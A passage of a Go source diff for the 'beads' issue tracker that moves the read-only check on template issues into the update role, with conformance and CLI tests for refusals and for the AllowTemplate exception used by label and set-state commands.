*publicops.TemplateReadOnlyError + if !errors.As(err, &refusal) || refusal.IssueID != template { + t.Errorf("update item on template = %v, want *TemplateReadOnlyError naming %s", err, template) + } + assertBatchApplyRowCount(t, ctx, fixture, "issues", bystander, 0) + if got := batchApplyColumn(t, ctx, fixture, "title", template); got != "a template" { + t.Errorf("%s title after the refusal = %q, want it untouched", template, got) + } + if got := batchApplyColumn(t, ctx, fixture, "status", template); got != string(types.StatusOpen) { + t.Errorf("%s status after the refusal = %q, want it untouched", template, got) + } +} + +// RunBatchApplySplicesTheMetadataOfATemplateItCreates is the template guard's +// boundary: the one write a template legitimately takes inside a batch is a +// CREATE item that makes it and asks for a metadata splice. The splice runs as +// an update of the row the request itself is creating, after every id exists, +// and it must land — the template is being written, not modified — so a guard +// placed where the splice reaches it would refuse a template's own creation. +func RunBatchApplySplicesTheMetadataOfATemplateItCreates(t *testing.T, ctx context.Context, fixture BatchApplyFixture) { + t.Helper() + created := fixture.IssuePrefix + "-tmplsplice-created" + fresh := batchApplyIssue(created, "a template this request creates") + fresh.IsTemplate = true + item := batchApplyCreate("created", fresh) + item.Create.MetadataRefs = map[string]publicops.Ref{"gc.self": {Key: "created"}} + batchApplyMust(t, ctx, fixture, publicops.ApplyBatchRequest{ + Actor: "apply-writer", ForceIDPrefix: true, Items: []publicops.ApplyItem{item}, + }) + if _, ok := batchApplyMetadataKey(t, ctx, fixture, created, "gc.self"); !ok { + t.Errorf("%s carries no gc.self key: the splice that finishes a template's own create must land", created) + } +} diff --git a/backend/conformance/lifecycle_update_contract.go b/backend/conformance/lifecycle_update_contract.go index 5219b494d..d58cc0536 100644 --- a/backend/conformance/lifecycle_update_contract.go +++ b/backend/conformance/lifecycle_update_contract.go @@ -2519,3 +2519,134 @@ func lifecycleUpdateHasEdge(dependencies []*types.Dependency, wantTarget string) } return false } + +// RunLifecycleUpdateRefusesATemplate pins Lifecycle.Update's template guard: +// templates are read-only, so EVERY update naming one refuses with +// *TemplateReadOnlyError — a field edit, a label edit, a claim, a status +// crossing — whatever force flags ride along, and nothing is written. It is the +// guard `bd update` used to apply as a CLI pre-read, which left bd serve and +// library callers editing templates bd refused. +// +// The refusal is asserted at the level a caller acts on — the typed error, its +// sentinel and the sentence bd prints, read off the typed error because a +// served refusal wraps it — and the row is read back to prove nothing moved. +// Two controls: the same patches land on an ordinary sibling, so the guard is +// not refusing the patch shapes; and a stale ExpectedVersion on the template +// still reports the mismatch, so the guard runs after the compare-and-set +// preconditions like every other update fence. +func RunLifecycleUpdateRefusesATemplate(t *testing.T, ctx context.Context, fixture LifecycleUpdateFixture) { + t.Helper() + template := fixture.IssuePrefix + "-lut-template" + sibling := fixture.IssuePrefix + "-lut-sibling" + for _, issue := range []*types.Issue{ + {ID: template, IsTemplate: true}, + {ID: sibling}, + } { + issue.Title, issue.Status, issue.Priority, issue.IssueType = issue.ID, types.StatusOpen, 2, types.TypeTask + if err := fixture.CreateIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s: %v", issue.ID, err) + } + } + before, err := fixture.GetIssue(ctx, template) + if err != nil { + t.Fatalf("read seeded template %s: %v", template, err) + } + + requests := []struct { + name string + request publicops.UpdateRequest + }{ + {name: "field edit", request: publicops.UpdateRequest{ + Patch: publicops.IssuePatch{Title: publicops.Field[string]{Set: true, Value: "edited"}}, + }}, + {name: "label edit", request: publicops.UpdateRequest{ + Patch: publicops.IssuePatch{Labels: publicops.LabelPatch{Add: []string{"lut-tag"}}}, + }}, + {name: "claim", request: publicops.UpdateRequest{Claim: true}}, + {name: "forced status crossing", request: publicops.UpdateRequest{ + Patch: publicops.IssuePatch{Status: publicops.Field[publicops.Status]{Set: true, Value: types.StatusClosed}}, + ForceClosePolicy: true, + }}, + {name: "forced assignee transfer", request: publicops.UpdateRequest{ + Patch: publicops.IssuePatch{Assignee: publicops.Field[string]{Set: true, Value: "someone"}}, + ForceAssigneeTransfer: true, + }}, + } + for _, tc := range requests { + request := tc.request + request.Actor, request.IssueID = "writer", template + _, err := fixture.Lifecycle.Update(ctx, request) + var refusal *publicops.TemplateReadOnlyError + if !errors.As(err, &refusal) { + t.Fatalf("%s on template %s: err = %v, want *TemplateReadOnlyError", tc.name, template, err) + } + if refusal.IssueID != template || !errors.Is(err, publicops.ErrTemplateReadOnly) { + t.Errorf("%s refusal = %#v (%v), want IssueID %q matching ErrTemplateReadOnly", tc.name, refusal, err, template) + } + if want := "cannot modify template " + template + ": templates are read-only; use 'bd mol pour' to create a work item"; refusal.Error() != want { + t.Errorf("%s refusal reads %q, want %q", tc.name, refusal.Error(), want) + } + after, err := fixture.GetIssue(ctx, template) + if err != nil { + t.Fatalf("read template %s after the %s refusal: %v", template, tc.name, err) + } + if after.RowVersion != before.RowVersion || after.Title != before.Title || after.Status != before.Status || + after.Assignee != before.Assignee || len(after.Labels) != len(before.Labels) { + t.Errorf("template %s after the %s refusal = %+v, want it unchanged from %+v", template, tc.name, after, before) + } + + control := tc.request + control.Actor, control.IssueID = "writer", sibling + if _, err := fixture.Lifecycle.Update(ctx, control); err != nil { + t.Errorf("%s on the ordinary sibling %s: %v, want it to land", tc.name, sibling, err) + } + } + + stale := before.RowVersion + 1 + _, err = fixture.Lifecycle.Update(ctx, publicops.UpdateRequest{ + Actor: "writer", IssueID: template, ExpectedVersion: &stale, + Patch: publicops.IssuePatch{Title: publicops.Field[string]{Set: true, Value: "edited"}}, + }) + if !errors.Is(err, publicops.ErrVersionMismatch) { + t.Errorf("stale-guarded update of template %s: err = %v, want ErrVersionMismatch ahead of the template guard", template, err) + } +} + +// RunLifecycleUpdateAllowTemplateEditsATemplate pins the template guard's one +// stand-down: an update with AllowTemplate — what bd label and bd set-state +// send, since they have always edited templates — lands on a template, and +// only that request is waived (the same patch without it still refuses). +func RunLifecycleUpdateAllowTemplateEditsATemplate(t *testing.T, ctx context.Context, fixture LifecycleUpdateFixture) { + t.Helper() + template := fixture.IssuePrefix + "-lua-template" + issue := &types.Issue{ID: template, Title: template, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, IsTemplate: true} + if err := fixture.CreateIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s: %v", template, err) + } + + result, err := fixture.Lifecycle.Update(ctx, publicops.UpdateRequest{ + Actor: "writer", IssueID: template, AllowTemplate: true, + Patch: publicops.IssuePatch{Labels: publicops.LabelPatch{Add: []string{"lua-tag"}}}, + }) + if err != nil { + t.Fatalf("AllowTemplate label edit on template %s: %v, want it to land", template, err) + } + if !result.Changed || result.Issue == nil || !lifecycleUpdateHasLabel(result.Issue.Labels, "lua-tag") { + t.Errorf("AllowTemplate label edit on template %s = %+v, want a change carrying lua-tag", template, result) + } + after, err := fixture.GetIssue(ctx, template) + if err != nil { + t.Fatalf("read template %s: %v", template, err) + } + if !after.IsTemplate { + t.Errorf("template %s is no longer a template after an AllowTemplate edit", template) + } + + _, err = fixture.Lifecycle.Update(ctx, publicops.UpdateRequest{ + Actor: "writer", IssueID: template, + Patch: publicops.IssuePatch{Labels: publicops.LabelPatch{Add: []string{"lua-other"}}}, + }) + if !errors.Is(err, publicops.ErrTemplateReadOnly) { + t.Errorf("the same edit without AllowTemplate: err = %v, want ErrTemplateReadOnly", err) + } +} diff --git a/backend/conformance/role_bundle_cases.go b/backend/conformance/role_bundle_cases.go index b74a615a8..059a50056 100644 --- a/backend/conformance/role_bundle_cases.go +++ b/backend/conformance/role_bundle_cases.go @@ -58,6 +58,8 @@ var roleContractCases = []roleContract{ RunBatchApplyReplayMintsANewSetOfRows, RunBatchApplyDoesNotMutateTheCallerRequest, RunBatchApplyRefusesAnUnusableRequest, + RunBatchApplyUpdateItemsRefuseATemplate, + RunBatchApplySplicesTheMetadataOfATemplateItCreates, ), roleCases("BatchCloser", "BatchCloser()", oncePerRole, @@ -479,6 +481,8 @@ var roleContractCases = []roleContract{ RunLifecycleUpdateParentIDReplacesEveryParent, RunLifecycleUpdatePersistentPreservesUnversionedClass, RunLifecycleUpdateProvenanceLabelsHistory, + RunLifecycleUpdateRefusesATemplate, + RunLifecycleUpdateAllowTemplateEditsATemplate, ), roleCases("Memories", "Memories()", oncePerRole, diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 309ae4fc3..6dc8c19db 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1227,6 +1227,7 @@ go_test( "update_proxied_integration_test.go", "update_proxied_server_test.go", "update_stray_positional_test.go", + "update_template_refusal_test.go", "user_config_path_windows_test.go", "utils_unit_test.go", "vc_embedded_test.go", diff --git a/cmd/bd/assign.go b/cmd/bd/assign.go index 83b145f33..3ae73a54a 100644 --- a/cmd/bd/assign.go +++ b/cmd/bd/assign.go @@ -75,9 +75,8 @@ Examples: issueStore := result.Store - if err := validateIssueUpdatable(id, result.Issue); err != nil { - return HandleErrorRespectJSON("%s", err) - } + // The template guard is the role's (issueops.Lifecycle.Update); its + // refusal is printed below as this command always printed it. // bd-98s5c: bd assign is shorthand for an unguarded assignee update — // same live-claim fence as bd update -a. mc-zndi7.74: skipped when this @@ -118,6 +117,9 @@ Examples: return reported } } + if refusal, ok := templateReadOnlyRefusal(id, err); ok { + return HandleErrorRespectJSON("%s", refusal) + } return HandleErrorRespectJSON("updating %s: %v", id, err) } diff --git a/cmd/bd/label.go b/cmd/bd/label.go index 5f5a768db..fccbaaf4f 100644 --- a/cmd/bd/label.go +++ b/cmd/bd/label.go @@ -105,7 +105,9 @@ func resolveLabelTarget(ctx context.Context, id string) (string, error) { // commits them together, so the N calls collapse back to one transaction and // one history entry with no new role and no new request type. It is not in this // slice because it needs a cmd/bd accessor of its own and because its end gate -// runs a hierarchy and cycle walk a label-only request has no use for. +// runs a hierarchy and cycle walk a label-only request has no use for. It also +// needs a template stand-down first: UpdateItem has no AllowTemplate, so an +// ItemUpdate refuses the templates this function edits today (bd-jkp9v3). func applyLabelEdit(ctx context.Context, issueIDs []string, labels []string, operation string) error { lifecycle, err := openIssueLifecycle() if err != nil { @@ -168,6 +170,9 @@ func applyLabelEdit(ctx context.Context, issueIDs []string, labels []string, ope Actor: currentActor(), IssueID: issueID, Patch: patch, + // bd label has always edited templates; the role's template + // guard stands down for it (issueops.UpdateRequest.AllowTemplate). + AllowTemplate: true, }) if uerr != nil { gerund := labelOperationGerund(operation) @@ -364,6 +369,8 @@ func removeLabelsByPrefix(ctx context.Context, issueIDs []string, prefix string, Actor: currentActor(), IssueID: target.issueID, Patch: issueops.IssuePatch{Labels: issueops.LabelPatch{Remove: target.labels}}, + // As above: bd label edits templates by design. + AllowTemplate: true, }) if uerr != nil { return HandleErrorRespectJSON("label removing (prefix): %s: %v", target.issueID, uerr) diff --git a/cmd/bd/label_embedded_test.go b/cmd/bd/label_embedded_test.go index b0e158c63..e4f1e88a4 100644 --- a/cmd/bd/label_embedded_test.go +++ b/cmd/bd/label_embedded_test.go @@ -7,9 +7,13 @@ import ( "fmt" "os" "os/exec" + "path/filepath" + "slices" "strings" "sync" "testing" + + "github.com/steveyegge/beads/internal/storage/embeddeddolt" ) // bdLabel runs "bd label" with the given args and returns stdout. @@ -99,6 +103,28 @@ func bdLabelListAllJSON(t *testing.T, bd, dir string) []map[string]interface{} { return results } +// markIssueTemplate makes an existing issue a template (is_template = 1) with +// raw SQL and commits it, so a test can put a template in front of the CLI +// without cooking a formula. +func markIssueTemplate(t *testing.T, beadsDir, database, issueID string) { + t.Helper() + db, cleanup, err := embeddeddolt.OpenSQL(t.Context(), filepath.Join(beadsDir, "embeddeddolt"), database, "main") + if err != nil { + t.Fatalf("OpenSQL: %v", err) + } + defer cleanup() + res, err := db.ExecContext(t.Context(), "UPDATE issues SET is_template = 1 WHERE id = ?", issueID) + if err != nil { + t.Fatalf("mark %s a template: %v", issueID, err) + } + if n, err := res.RowsAffected(); err != nil || n != 1 { + t.Fatalf("mark %s a template: %d rows affected (err %v), want 1", issueID, n, err) + } + if _, err := db.ExecContext(t.Context(), "CALL DOLT_COMMIT('-Am', 'test: mark a template')"); err != nil { + t.Fatalf("commit the template mark: %v", err) + } +} + // TestEmbeddedLabelAddRemove was split from TestEmbeddedLabel (originally // ~360s, measured under --config=embedded) into 3 top-level tests over // disjoint subtest groups, for CI shard balance (see @@ -361,7 +387,7 @@ func TestEmbeddedLabelEditReports(t *testing.T) { t.Parallel() bd := buildEmbeddedBD(t) - dir, _, _ := bdInit(t, bd, "--prefix", "tl") + dir, beadsDir, _ := bdInit(t, bd, "--prefix", "tl") // Two issues carrying DIFFERENT matching sets: the report is per issue and // each issue's set is resolved from its own labels, so a refactor that @@ -614,6 +640,50 @@ func TestEmbeddedLabelEditReports(t *testing.T) { } } }) + + // A template is read-only to an update — issueops.Lifecycle.Update refuses + // it on every route — but bd label and bd set-state edit templates by + // design: they set UpdateRequest.AllowTemplate. One template pins both + // sides end to end. The stand-down verbs are checked with t.Errorf rather + // than a fatal helper, so a lost AllowTemplate names every verb that lost + // it. + t.Run("template_label_edits_pass_update_and_assign_refuse", func(t *testing.T) { + tpl := bdCreate(t, bd, dir, "Template under edit", "--type", "task", + "--label", "pool:refused:reason-a") + markIssueTemplate(t, beadsDir, "tl", tpl.ID) + + for _, args := range [][]string{ + {"label", "add", tpl.ID, "tpl-added"}, + {"label", "remove", tpl.ID, "--prefix", "pool:refused:"}, + {"set-state", tpl.ID, "phase=planning"}, + } { + cmd := exec.Command(bd, args...) + cmd.Dir = dir + cmd.Env = bdEnv(dir) + if out, err := cmd.CombinedOutput(); err != nil { + t.Errorf("bd %s on a template: %v\n%s", strings.Join(args, " "), err, out) + } + } + labels := bdLabelListJSON(t, bd, dir, tpl.ID) + slices.Sort(labels) + if want := []string{"phase:planning", "tpl-added"}; !slices.Equal(labels, want) { + t.Errorf("template labels after label add, label remove --prefix and set-state = %v, want %v", labels, want) + } + + want := "cannot modify template " + tpl.ID + ": templates are read-only; use 'bd mol pour' to create a work item" + for _, args := range [][]string{ + {"update", tpl.ID, "--title", "Edited template"}, + {"assign", tpl.ID, "someone-else"}, + } { + if out, code := bdRunFailCode(t, bd, dir, args...); code != 1 || !strings.Contains(out, want) { + t.Errorf("bd %s on a template: exit %d, output:\n%s\nwant exit 1 and %q", strings.Join(args, " "), code, out, want) + } + } + if got := bdShow(t, bd, dir, tpl.ID); got.Title != "Template under edit" || got.Assignee != "" || !got.IsTemplate { + t.Errorf("the refused update and assign changed the template: title=%q assignee=%q is_template=%v", + got.Title, got.Assignee, got.IsTemplate) + } + }) } // TestEmbeddedLabelPropagateRename was split from TestEmbeddedLabel diff --git a/cmd/bd/label_proxied_integration_test.go b/cmd/bd/label_proxied_integration_test.go index 7cfd1d94d..2d820d97f 100644 --- a/cmd/bd/label_proxied_integration_test.go +++ b/cmd/bd/label_proxied_integration_test.go @@ -5,6 +5,9 @@ package main import ( "context" "encoding/json" + "errors" + "os/exec" + "slices" "sort" "strings" "testing" @@ -581,4 +584,53 @@ func TestProxiedServerLabelC(t *testing.T) { t.Errorf("labels (permanent) count = %d, want 0 — propagated wisp label must not leak into the permanent table", permCount) } }) + + // The proxied twin of TestEmbeddedLabelEditReports' + // template_label_edits_pass_update_and_assign_refuse, over the unit-of-work + // leg: bd label and bd set-state stand the template guard down + // (UpdateRequest.AllowTemplate), bd update and bd assign are refused with + // the CLI's sentence and exit 1. + t.Run("template_label_edits_pass_update_and_assign_refuse", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "lt") + tpl := bdProxiedCreate(t, bd, p.dir, "Template under edit", "--type", "task", + "--label", "pool:refused:reason-a") + res, err := openProxiedDB(t, p).Exec("UPDATE issues SET is_template = 1 WHERE id = ?", tpl.ID) + if err != nil { + t.Fatalf("mark %s a template: %v", tpl.ID, err) + } + if n, err := res.RowsAffected(); err != nil || n != 1 { + t.Fatalf("mark %s a template: %d rows affected (err %v), want 1", tpl.ID, n, err) + } + + for _, args := range [][]string{ + {"label", "add", tpl.ID, "tpl-added"}, + {"label", "remove", tpl.ID, "--prefix", "pool:refused:"}, + {"set-state", tpl.ID, "phase=planning"}, + } { + if stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, args...); err != nil { + t.Errorf("bd %s on a template: %v\nstdout:\n%s\nstderr:\n%s", strings.Join(args, " "), err, stdout, stderr) + } + } + if got, want := bdProxiedLabelListJSON(t, bd, p.dir, tpl.ID), []string{"phase:planning", "tpl-added"}; !slices.Equal(got, want) { + t.Errorf("template labels after label add, label remove --prefix and set-state = %v, want %v", got, want) + } + + want := "cannot modify template " + tpl.ID + ": templates are read-only; use 'bd mol pour' to create a work item" + for _, args := range [][]string{ + {"update", tpl.ID, "--title", "Edited template"}, + {"assign", tpl.ID, "someone-else"}, + } { + stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, args...) + var exitErr *exec.ExitError + if !errors.As(err, &exitErr) || exitErr.ExitCode() != 1 || !strings.Contains(stdout+stderr, want) { + t.Errorf("bd %s on a template: err %v\nstdout:\n%s\nstderr:\n%s\nwant exit 1 and %q", + strings.Join(args, " "), err, stdout, stderr, want) + } + } + if got := bdProxiedShow(t, bd, p.dir, tpl.ID); got.Title != "Template under edit" || got.Assignee != "" || !got.IsTemplate { + t.Errorf("the refused update and assign changed the template: title=%q assignee=%q is_template=%v", + got.Title, got.Assignee, got.IsTemplate) + } + }) } diff --git a/cmd/bd/label_proxied_server.go b/cmd/bd/label_proxied_server.go index 0bf9215f0..72b67c467 100644 --- a/cmd/bd/label_proxied_server.go +++ b/cmd/bd/label_proxied_server.go @@ -205,7 +205,10 @@ func runLabelPropagateProxiedServer(ctx context.Context, args []string) error { // keeps both is issueops.BatchApplier.ApplyBatch with one ItemUpdate per // child carrying this same label patch, and it is blocked on a cmd/bd // accessor for that role. That is the follow-up this waiver names - // (ga-2ltro.12); it is the last one on this list that WRITES. + // (ga-2ltro.12); it is the last one on this list that WRITES. It also + // needs a template stand-down first: UpdateItem has no AllowTemplate, so + // an ItemUpdate refuses the template children this loop labels today + // (bd-jkp9v3). for _, child := range children { var e error if child.Ephemeral { diff --git a/cmd/bd/mutate_proxied_server.go b/cmd/bd/mutate_proxied_server.go index fa72c238e..9470c01fa 100644 --- a/cmd/bd/mutate_proxied_server.go +++ b/cmd/bd/mutate_proxied_server.go @@ -87,9 +87,8 @@ func proxiedAssign(ctx context.Context, id, assignee string, force bool, ifRevis if rerr != nil { return struct{}{}, fmt.Errorf("resolving %s: %w", id, rerr) } - if verr := validateIssueUpdatable(id, current); verr != nil { - return struct{}{}, verr - } + // The template guard is the role's, enforced by the Lifecycle.Update + // below; runAssignProxiedServer prints its refusal as before. // mc-zndi7.74: skipped when this pre-read is already stale against an // active --if-revision guard, so a lost race reports precondition_failed // from the guarded write below instead of this policy refusal — see @@ -137,6 +136,9 @@ func runAssignProxiedServer(ctx context.Context, args []string, force bool, ifRe return reported } } + if refusal, ok := templateReadOnlyRefusal(id, err); ok { + err = refusal + } return HandleErrorRespectJSON("assign %s: %v", id, err) } if jsonOutput { @@ -211,10 +213,10 @@ func runNoteProxiedServer(ctx context.Context, id, noteText string) error { // UpdateRequest.IssuePlaneOnly stays false, so the role resolves the plane // inside its own transaction and there is no boolean here to get backwards. // -// The two reads it still makes are front-door work rather than plumbing. -// issueops.Reader.Get supplies the issue the template guard needs — the roles -// have no opinion about templates, and the direct route refuses one — and the -// role takes an exact id by contract, which Get's issue-then-wisp lookup is. +// The read it still makes is front-door work rather than plumbing: the role +// takes an exact id by contract, and issueops.Reader.Get's issue-then-wisp +// lookup supplies one. The template guard is the role's: Lifecycle.Update +// refuses a template inside its own transaction. // The label arrives already normalized: tag.go does that before choosing a // route, so this path and the direct one cannot disagree about what was stored. func runTagProxiedServer(ctx context.Context, id, label string) error { @@ -229,9 +231,8 @@ func runTagProxiedServer(ctx context.Context, id, label string) error { if err != nil { return HandleErrorRespectJSON("tag %s: resolving %s: %v", id, id, err) } - if verr := validateIssueUpdatable(id, &details.Issue); verr != nil { - return HandleErrorRespectJSON("tag %s: %v", id, verr) - } + // The template guard is the role's, enforced by the Lifecycle.Update + // below, whose refusal prints as this route always printed it. lifecycle, err := openIssueLifecycle() if err != nil { @@ -250,6 +251,9 @@ func runTagProxiedServer(ctx context.Context, id, label string) error { Patch: issueops.IssuePatch{Labels: issueops.LabelPatch{Add: []string{label}}}, }) if err != nil { + if refusal, ok := templateReadOnlyRefusal(id, err); ok { + err = refusal + } return HandleErrorRespectJSON("tag %s: %v", id, err) } commandDidWrite.Store(true) diff --git a/cmd/bd/show_unit_helpers.go b/cmd/bd/show_unit_helpers.go index 4e2fcd6e2..74c0e9705 100644 --- a/cmd/bd/show_unit_helpers.go +++ b/cmd/bd/show_unit_helpers.go @@ -11,6 +11,13 @@ import ( ) // validateIssueUpdatable checks if an issue can be updated. +// +// It is the CLI-only template guard that bd comment, bd note, bd priority and +// bd tag (and the proxied comment and mutate routes) still run as a pre-read: +// their writes do not go through issueops.Lifecycle.Update, whose role rule +// (storage issueops.AuthorizeTemplateUpdate) guards bd update and bd assign on +// every route. Until those commands move onto the role, this is their only +// guard. // Uses the centralized validation package for consistency. func validateIssueUpdatable(id string, issue *types.Issue) error { // Note: We use NotTemplate() directly instead of ForUpdate() to maintain diff --git a/cmd/bd/state.go b/cmd/bd/state.go index b689b0f28..3d0b56a78 100644 --- a/cmd/bd/state.go +++ b/cmd/bd/state.go @@ -260,6 +260,9 @@ func runSetState(ctx context.Context, issueID, dimension, newValue, reason strin Add: []string{newLabel}, Remove: removeStateLabel(oldLabel), }}, + // bd set-state has always edited templates; the role's template guard + // stands down for it (issueops.UpdateRequest.AllowTemplate). + AllowTemplate: true, }); err != nil { return HandleErrorRespectJSON("setting %s: %v", dimension, err) } diff --git a/cmd/bd/update.go b/cmd/bd/update.go index 09e8edb64..95e013d9f 100644 --- a/cmd/bd/update.go +++ b/cmd/bd/update.go @@ -493,12 +493,9 @@ pointless).`, issue := result.Issue issueStore := result.Store - if err := validateIssueUpdatable(id, issue); err != nil { - fmt.Fprintf(os.Stderr, "%s\n", err) - recordFailure(id, err.Error()) - closeIfUnmutated(result) - continue - } + // The template guard is the role's (issueops.Lifecycle.Update), + // enforced inside the mutation on every route; its refusal is + // printed below as the line this command always printed. // bd-98s5c: an unguarded assignee update must not silently // overwrite another actor's live claim. Skipped under @@ -577,7 +574,10 @@ pointless).`, } } failureText := fmt.Sprintf("updating issue: %v", updateErr) - if errors.Is(updateErr, issueops.ErrNotesOverwrite) { + if refusal, ok := templateReadOnlyRefusal(id, updateErr); ok { + failureText = refusal.Error() + fmt.Fprintf(os.Stderr, "%s\n", refusal) + } else if errors.Is(updateErr, issueops.ErrNotesOverwrite) { // The contract's AuthorizeNotesOverwrite fence refused // inside the mutation transaction. Print the advice, not // the raw sentinel. @@ -1117,3 +1117,16 @@ func init() { updateCmd.ValidArgsFunction = issueIDCompletion rootCmd.AddCommand(updateCmd) } + +// templateReadOnlyRefusal reports whether err is the update role's template +// refusal (issueops.Lifecycle.Update, any route) and, when it is, returns it +// spelled against id — the argument as the caller typed it, which is what this +// CLI's template sentence has always named. It is found with errors.Is because +// the refusal may arrive wrapped by the unit of work or inside the served +// problem envelope. +func templateReadOnlyRefusal(id string, err error) (error, bool) { + if !errors.Is(err, issueops.ErrTemplateReadOnly) { + return nil, false + } + return &issueops.TemplateReadOnlyError{IssueID: id}, true +} diff --git a/cmd/bd/update_proxied_server.go b/cmd/bd/update_proxied_server.go index 5d74583b2..69ba47fb2 100644 --- a/cmd/bd/update_proxied_server.go +++ b/cmd/bd/update_proxied_server.go @@ -87,11 +87,12 @@ func proxiedIssueLifecycle() (issueops.Lifecycle, error) { // applyUpdateProxiedOne applies one issue's update — plain or --claim — // through issueops.Lifecycle. What stays here is this surface's own protocol: -// the template guard, the advisory reassign pre-read, the per-id failure -// taxonomy the multi-id batch needs and the notes-overwrite warning. Hooks are -// NOT among them: they fire from the write plumbing now (the notifying provider -// wired in main.go), which is what makes an update fire the same events here as -// it does on the embedded path. +// the advisory reassign pre-read, the per-id failure taxonomy the multi-id +// batch needs (a template refusal is one of its verdicts; the guard itself is +// the role's) and the notes-overwrite warning. Hooks are NOT among them: they +// fire from the write plumbing now (the notifying provider wired in main.go), +// which is what makes an update fire the same events here as it does on the +// embedded path. // // Provenance carries the commit message this path has always written, so `bd // dolt log` reads the same after the move as before it. The plane is @@ -189,13 +190,12 @@ func applyUpdateProxiedOne(ctx context.Context, id string, in *updateInput) (*ty } // proxiedUpdateTarget reads the row an update is about through the query role, -// for the things the mutation's own result cannot answer: whether the target is -// a template, whether an unguarded assignee edit is about to take the issue -// from a live foreign holder, whether --notes is about to replace existing -// notes, and whether --defer="" should also clear a deferred status. It no -// longer reads the pre-state to decide a hook: a status-crossing update fires -// on_update and nothing else, from the plumbing, exactly as it does on the -// embedded path. +// for the things the mutation's own result cannot answer: whether an unguarded +// assignee edit is about to take the issue from a live foreign holder, whether +// --notes is about to replace existing notes, and whether --defer="" should +// also clear a deferred status. It no longer reads the pre-state to decide a +// hook: a status-crossing update fires on_update and nothing else, from the +// plumbing, exactly as it does on the embedded path. func proxiedUpdateTarget(ctx context.Context, id string, in *updateInput) (*types.Issue, *updateIDFailure) { rd, err := proxiedIssueReader() if err != nil { @@ -212,10 +212,8 @@ func proxiedUpdateTarget(ctx context.Context, id string, in *updateInput) (*type return nil, &updateIDFailure{ID: id, Error: fmt.Sprintf("resolving issue: %v", err)} } current := &details.Issue - if err := validateIssueUpdatable(id, current); err != nil { - fmt.Fprintf(os.Stderr, "%s\n", err) - return nil, &updateIDFailure{ID: id, Error: err.Error()} - } + // The template guard is the role's, enforced inside the mutation; + // proxiedUpdateFailure prints its refusal as this route always did. // bd-98s5c: an unguarded assignee update must not silently overwrite // another actor's live claim. Skipped under --if-assignee, whose CAS names // the holder explicitly (park stays possible without --force), and under @@ -266,6 +264,10 @@ func proxiedClaimPoolAliases(ctx context.Context) func() []string { // longer owns, so both now read as the generic update failure. The id still // fails, loudly and non-zero. func proxiedUpdateFailure(id string, claim bool, err error) *updateIDFailure { + if refusal, ok := templateReadOnlyRefusal(id, err); ok { + fmt.Fprintf(os.Stderr, "%s\n", refusal) + return &updateIDFailure{ID: id, Error: refusal.Error()} + } switch { case errors.Is(err, storage.ErrNotFound): fmt.Fprintf(os.Stderr, "Issue %s not found\n", id) diff --git a/cmd/bd/update_template_refusal_test.go b/cmd/bd/update_template_refusal_test.go new file mode 100644 index 000000000..630e39822 --- /dev/null +++ b/cmd/bd/update_template_refusal_test.go @@ -0,0 +1,35 @@ +package main + +import ( + "errors" + "fmt" + "testing" + + "github.com/steveyegge/beads/issueops" +) + +// TestTemplateReadOnlyRefusalKeepsTheCLISentence pins what `bd update`, +// `bd assign` and the proxied `bd tag` print now that the template guard is the +// role's: the sentence they printed when it was a CLI pre-read, naming the id +// as the caller typed it — however the refusal travelled (bare from the store, +// wrapped by the unit of work, or rebuilt by the served client against the +// resolved id). +func TestTemplateReadOnlyRefusalKeepsTheCLISentence(t *testing.T) { + const typed = "tp-ab" + want := "cannot modify template " + typed + ": templates are read-only; use 'bd mol pour' to create a work item" + for name, err := range map[string]error{ + "bare": &issueops.TemplateReadOnlyError{IssueID: "tp-abc123"}, + "wrapped": fmt.Errorf("update tp-abc123: %w", &issueops.TemplateReadOnlyError{IssueID: "tp-abc123"}), + } { + refusal, ok := templateReadOnlyRefusal(typed, err) + if !ok { + t.Fatalf("%s: templateReadOnlyRefusal did not recognize %v", name, err) + } + if refusal.Error() != want { + t.Errorf("%s: refusal reads %q, want %q", name, refusal.Error(), want) + } + } + if _, ok := templateReadOnlyRefusal(typed, errors.New("something else")); ok { + t.Errorf("an unrelated error was taken for the template refusal") + } +} diff --git a/internal/httpapi/BUILD.bazel b/internal/httpapi/BUILD.bazel index 27efb854f..fab98a6f5 100644 --- a/internal/httpapi/BUILD.bazel +++ b/internal/httpapi/BUILD.bazel @@ -106,6 +106,7 @@ go_test( "sweep_test.go", "timed_provider_binding_test.go", "tree_test.go", + "update_template_test.go", "update_test.go", "wire_bijection_test.go", "wire_revision_test.go", diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index 4fea37994..b09477c7c 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -1047,7 +1047,7 @@ type ContextResponse struct { // OPTIONAL, and absent means only that this server does not disclose its filesystem layout — never that it has no workspace. A client MUST NOT require it, MUST NOT treat absence as an error, and has no use for the value beyond display: it is a path on the SERVER's filesystem, which the client cannot open. Identify the workspace by `project_id` and `database`, which are required. BeadsDir *string `json:"beads_dir,omitempty"` - // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.reclaim`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items 